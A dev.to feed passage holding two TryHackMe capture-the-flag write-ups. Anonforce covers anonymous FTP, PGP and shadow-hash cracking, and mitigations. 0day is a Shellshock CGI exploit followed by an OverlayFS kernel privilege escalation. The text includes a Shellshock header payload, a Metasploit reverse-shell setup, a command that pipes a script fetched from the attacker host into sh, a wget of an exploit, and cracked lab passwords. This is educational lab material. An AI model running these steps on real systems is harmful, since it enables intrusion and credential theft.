&lt;p&gt;That's not a subdirectory of FTP storage — that's &lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/boot&lt;/code&gt;, &lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/home&lt;/code&gt;, the server's actual root filesystem, mounted as the FTP root. The &lt;code&gt;notread&lt;/code&gt; directory stands out immediately: world-readable &lt;em&gt;and&lt;/em&gt; world-writable, owned by uid 1000. &lt;code&gt;root&lt;/code&gt; is listed too, though &lt;code&gt;drwx------&lt;/code&gt; suggests &lt;code&gt;ftp&lt;/code&gt; probably can't actually read into it. One thing at a time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Connecting with anonymous login:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp 10.49.164.9
&lt;span class="c"&gt;# Name: anonymous&lt;/span&gt;
&lt;span class="c"&gt;# Password: (blank)&lt;/span&gt;
&lt;span class="c"&gt;# 230 Login successful.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The FTP root is the server's &lt;code&gt;/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# bin  boot  dev  etc  home  lib  notread  opt  root  tmp  usr  var ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is about as severe as FTP misconfiguration gets. When the service is chrooted to the server's actual filesystem root instead of a dedicated, restricted directory, every file the FTP service user can read becomes accessible to any anonymous visitor — the difference between leaving a note on the doorstep and leaving the front door open with a map to the safe inside.&lt;/p&gt;

&lt;p&gt;Navigating straight to melodias's home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; &lt;span class="nb"&gt;cd&lt;/span&gt; /home/melodias
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# -rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt&lt;/span&gt;
ftp&amp;gt; get user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;606083fd33beb1284fc51f411a706af8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User flag collected without touching SSH at all. No credentials, no shell, no escalation required — just FTP navigation.&lt;/p&gt;

&lt;p&gt;Then the directory Nmap had already flagged:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; &lt;span class="nb"&gt;cd&lt;/span&gt; /notread
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="c"&gt;# -rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp&lt;/span&gt;
&lt;span class="c"&gt;# -rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc&lt;/span&gt;
ftp&amp;gt; mget backup.pgp private.asc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two files. &lt;code&gt;backup.pgp&lt;/code&gt; is a PGP-encrypted archive; &lt;code&gt;private.asc&lt;/code&gt; is an ASCII-armoured PGP private key. The pairing is obvious — the private key decrypts the backup. The slightly surreal part is both are sitting in the same directory, world-readable, permissions &lt;code&gt;rwxrwxrwx&lt;/code&gt;. Whoever set this up was not thinking much about defence in depth.&lt;/p&gt;

&lt;p&gt;PGP uses an asymmetric key pair — public to encrypt, private to decrypt — and the private key itself is protected by a passphrase. Even with the key file in hand, you still need that passphrase. &lt;code&gt;gpg2john&lt;/code&gt; extracts the passphrase hash from the key file in a format John the Ripper understands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gpg &lt;span class="nt"&gt;--import&lt;/span&gt; private.asc
gpg2john private.asc &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;John silently returned nothing on the first run — the hash was already sitting in the potfile from a prior session (the same gotcha I'd already hit once on Mustacchio). Checking the potfile directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john hash.txt &lt;span class="nt"&gt;--show&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;anonforce:xbox360:::anonforce &amp;lt;melodias@anonforce.nsa&amp;gt;::private.asc

1 password hash cracked, 0 left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PGP passphrase: &lt;code&gt;xbox360&lt;/code&gt;. The key identity &lt;code&gt;anonforce &amp;lt;melodias@anonforce.nsa&amp;gt;&lt;/code&gt; is a nice bit of box flavour — the &lt;code&gt;.nsa&lt;/code&gt; domain is doing a lot of thematic work.&lt;/p&gt;

&lt;p&gt;Decrypting the backup with the now-usable key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gpg &lt;span class="nt"&gt;--decrypt&lt;/span&gt; backup.pgp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gpg: encrypted with elg512 key, ID AA6268D1E6612967
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# decrypted output (relevant entries)
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;backup.pgp&lt;/code&gt; turns out to be a backup of &lt;code&gt;/etc/shadow&lt;/code&gt;, now fully decrypted. Root's hash format is &lt;code&gt;$6$&lt;/code&gt; — sha512crypt. The CAST5 warning is harmless, just a cipher-preference mismatch advisory between the key and the algorithm actually used on the file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;$6$&lt;/code&gt; means sha512crypt, which is Hashcat mode 1800 — a slow, properly iterated hash, 5000 rounds by default. Hashcat's own estimate was 7+ hours at ~514 H/s on CPU, but the password showed up in rockyou.txt early enough to crack in 12 seconds flat.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; root_hash.txt
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1800 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 root_hash.txt /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$6$07nYFaYf$...:hikari

Status: Cracked
Progress: 6720/14344385 (0.05%)
Time: 12 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root password: &lt;code&gt;hikari&lt;/code&gt;. Only 6720 candidates into the wordlist — for a box whose entire premise is "here's root's shadow hash," that's an appropriately swift ending.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh root@10.49.164.9
&lt;span class="c"&gt;# Password: hikari&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@ubuntu:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
f706456440c7af4187810c31c6cebdce
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Anonymous FTP&lt;/strong&gt; with filesystem root exposed → navigated directly to &lt;code&gt;/home/melodias/user.txt&lt;/code&gt; → user flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/notread/&lt;/code&gt;&lt;/strong&gt; contained &lt;code&gt;backup.pgp&lt;/code&gt; (encrypted shadow) + &lt;code&gt;private.asc&lt;/code&gt; (PGP private key)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;gpg2john + John&lt;/strong&gt; cracked PGP passphrase → &lt;code&gt;xbox360&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;gpg --decrypt backup.pgp&lt;/code&gt;&lt;/strong&gt; → plaintext &lt;code&gt;/etc/shadow&lt;/code&gt; backup with root's sha512crypt hash&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hashcat mode 1800&lt;/strong&gt; cracked root hash → &lt;code&gt;hikari&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as root&lt;/strong&gt; → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;John the Ripper going silent.&lt;/strong&gt; &lt;code&gt;john --wordlist=rockyou.txt hash.txt&lt;/code&gt; returned "No password hashes left to crack" on both attempts, which for about thirty seconds reads like failure. It wasn't — the hash had already been cracked and was sitting in John's potfile from a prior run (or the key had been imported before). &lt;code&gt;john hash.txt --show&lt;/code&gt; gave the answer immediately. Same gotcha as Mustacchio: John's silence means "check &lt;code&gt;--show&lt;/code&gt;," never "uncrackable."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;melodias's hash (&lt;code&gt;$1$&lt;/code&gt;).&lt;/strong&gt; The decrypted shadow backup also contains melodias's hash, &lt;code&gt;$1$&lt;/code&gt; — MD5crypt, Hashcat mode 500, weaker than root's &lt;code&gt;$6$&lt;/code&gt; and theoretically crackable too. There was no need to bother: the root path was already open, and SSH as root bypasses any reason to touch the user account. Noted for completeness and left alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;606083fd33beb1284fc51f411a706af8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/home/melodias/user.txt&lt;/code&gt; (read directly via FTP)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;f706456440c7af4187810c31c6cebdce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous FTP with filesystem root as FTP root&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never configure FTP with &lt;code&gt;/&lt;/code&gt; as the chroot; use a dedicated, isolated FTP directory with only intended files; disable anonymous access entirely if not required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sensitive PGP-encrypted backup exposed in world-readable directory&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Store backups outside the FTP tree; apply strict permissions (&lt;code&gt;700&lt;/code&gt; or &lt;code&gt;600&lt;/code&gt;); never co-locate a private key with the data it protects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak PGP key passphrase (&lt;code&gt;xbox360&lt;/code&gt;) in rockyou.txt&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use a long, randomly generated passphrase for any key protecting sensitive data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root's shadow hash in an accessible backup&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never back up &lt;code&gt;/etc/shadow&lt;/code&gt; to an FTP-accessible location; restrict shadow file access to root only and audit backup procedures regularly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak root password (&lt;code&gt;hikari&lt;/code&gt;) cracked in 12 seconds&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Use a long, randomly generated root password; consider disabling direct root SSH login (&lt;code&gt;PermitRootLogin no&lt;/code&gt;) and requiring &lt;code&gt;sudo&lt;/code&gt; from a non-root account&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Anonymous FTP is almost never appropriate for production systems, but it's especially catastrophic when the FTP root is the server's filesystem root. That combination turns an unauthenticated network service into a complete read-access backdoor to every world-readable file on the machine. Always scope FTP shares to the minimum necessary directory — never &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Anonforce&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>0day — TryHackMe</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Mon, 26 Oct 2026 22:48:34 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/0day-tryhackme-p95</link>
      <guid>https://dev.to/cyberfarhan/0day-tryhackme-p95</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium · &lt;strong&gt;Category:&lt;/strong&gt; Shellshock / CGI Injection / Kernel Privilege Escalation&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;0day&lt;/strong&gt; is a nostalgic little box, and it earns the nostalgia honestly — an antique Apache version running on an equally antique Ubuntu kernel, wearing both vulnerabilities like badges of honour. You get a suspiciously minimal homepage, a &lt;code&gt;/backup/&lt;/code&gt; directory that really shouldn't be reachable from the internet, and a CGI endpoint that has clearly never heard of the Bash security patches from 2014. It's the kind of target that makes you feel like a time traveler, except the time you're traveling to is a sysadmin's worst nightmare.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;RustScan for speed, Nmap for the details:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.181.37 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 6.6.1p1 Ubuntu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.7 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two ports, clean and quiet — exactly the kind of attack surface that makes you look harder at what's actually there. Apache 2.4.7 is ancient, and the HTTP title comes back as &lt;code&gt;0day&lt;/code&gt;, same as the box name. Nothing interesting out of the SSH host keys, so the web server is where the story starts.&lt;/p&gt;

&lt;p&gt;The homepage itself is minimal, barely more than a landing page with a profile image. Time to look behind the curtain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.181.37/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant hits only)
301  http://10.49.181.37/cgi-bin
301  http://10.49.181.37/uploads
301  http://10.49.181.37/admin
301  http://10.49.181.37/backup
200  http://10.49.181.37/robots.txt
200  http://10.49.181.37/backup/index.html   &amp;lt;-- ^^^ this is the important bit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/uploads&lt;/code&gt; and &lt;code&gt;/admin&lt;/code&gt; both came back blank — dead ends. &lt;code&gt;/backup/&lt;/code&gt; had actual content: a full PEM-encoded RSA private key, passphrase-protected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# /backup/index.html contents
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547
...
-----END RSA PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(truncated — full key saved locally as &lt;code&gt;id_rsa&lt;/code&gt;)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That felt like the obvious thread to pull, so I pulled it. More on where that went in a minute.&lt;/p&gt;

&lt;p&gt;While the key was being processed, Nikto ran in parallel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nikto &lt;span class="nt"&gt;-h&lt;/span&gt; 10.49.181.37 &lt;span class="nt"&gt;-C&lt;/span&gt; all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant findings)
+ Apache/2.4.7 appears to be outdated
+ /backup/: This might be interesting.
+ /secret/: This might be interesting.        # ^^^ worth noting for later
+ /cgi-bin/: present
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;/cgi-bin/&lt;/code&gt; directory sitting on outdated Apache with Bash on Ubuntu 14.04 underneath it is a flashing neon sign pointing at one specific vulnerability: &lt;strong&gt;Shellshock (CVE-2014-6271)&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Shellshock is a critical GNU Bash vulnerability from 2014. Bash allows function definitions to be passed through environment variables, and the bug is that it also executes anything appended &lt;em&gt;after&lt;/em&gt; the function definition — commands it has no business running at all. CGI scripts are a particularly dangerous target because the web server drops HTTP headers straight into environment variables before executing the script, so a header like &lt;code&gt;User-Agent: () { :;}; /bin/bash -i&lt;/code&gt; gets you remote code execution for free.&lt;/p&gt;

&lt;p&gt;The target exposes &lt;code&gt;/cgi-bin/test.cgi&lt;/code&gt;, found during the Feroxbuster run — that's the trigger point. Loading the Metasploit module for it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfconsole
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;msf &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;use exploit/multi/http/apache_mod_cgi_bash_env_exec
&lt;span class="gp"&gt;msf exploit(...) &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set &lt;/span&gt;RHOST 10.49.181.37
&lt;span class="gp"&gt;msf exploit(...) &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set &lt;/span&gt;LHOST 192.168.133.233
&lt;span class="gp"&gt;msf exploit(...) &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set &lt;/span&gt;TARGETURI /cgi-bin/test.cgi
&lt;span class="gp"&gt;msf exploit(...) &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
[*] Started reverse TCP handler on 192.168.133.233:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (1062760 bytes) to 10.49.181.37
[*] Meterpreter session 1 opened (192.168.133.233:4444 -&amp;gt; 10.49.181.37:41010)
# ^^^ shell landed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;Upgrading from Meterpreter to a proper interactive bash shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;meterpreter &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're in as &lt;code&gt;www-data&lt;/code&gt; — the Apache service account. Limited, but enough to grab the user flag and start hunting for an escalation path.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/ryan/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{Sh3llSh0ck_r0ckz}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;As &lt;code&gt;www-data&lt;/code&gt; our permissions are basically nothing, so the goal becomes finding a flaw that gets us root — and on a box running a kernel this old, that flaw is very likely to live in the kernel itself.&lt;/p&gt;

&lt;p&gt;Serving LinPEAS from the attacking box and piping it straight into &lt;code&gt;sh&lt;/code&gt;, no file write needed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://192.168.133.233:80/linpeas.sh | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LinPEAS came back with a long list of CVEs matching the kernel version (&lt;code&gt;3.13.x&lt;/code&gt;). The standout candidates:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Rank&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2015-1328&lt;/td&gt;
&lt;td&gt;overlayfs&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Ubuntu 14.04, practical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2016-5195&lt;/td&gt;
&lt;td&gt;dirtycow&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Reliable but slow/risky&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2015-8660&lt;/td&gt;
&lt;td&gt;overlayfs (ovl_setattr)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Overlaps with above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2014-0038&lt;/td&gt;
&lt;td&gt;timeoutpwn&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Requires CONFIG_X86_X32=y&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I went with &lt;strong&gt;CVE-2015-1328 (OverlayFS)&lt;/strong&gt; — a clean, reliable local privilege escalation on Ubuntu 14.04/15.04 kernels 3.13.0–3.19.0 that abuses a flaw in how OverlayFS validates file permissions across user namespace mount operations. Get that right and you can write to places you shouldn't be able to touch.&lt;/p&gt;

&lt;p&gt;Downloading the exploit source from Exploit-DB straight to &lt;code&gt;/tmp&lt;/code&gt; on the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://192.168.133.233:80/Downloads/37292.c &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/37292.c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiling it on-box — GCC is thoughtfully still installed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc /tmp/37292.c &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/37292
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/tmp/37292
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# ^^^ root shell spawned
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=0(root) gid=0(root) groups=0(root),33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



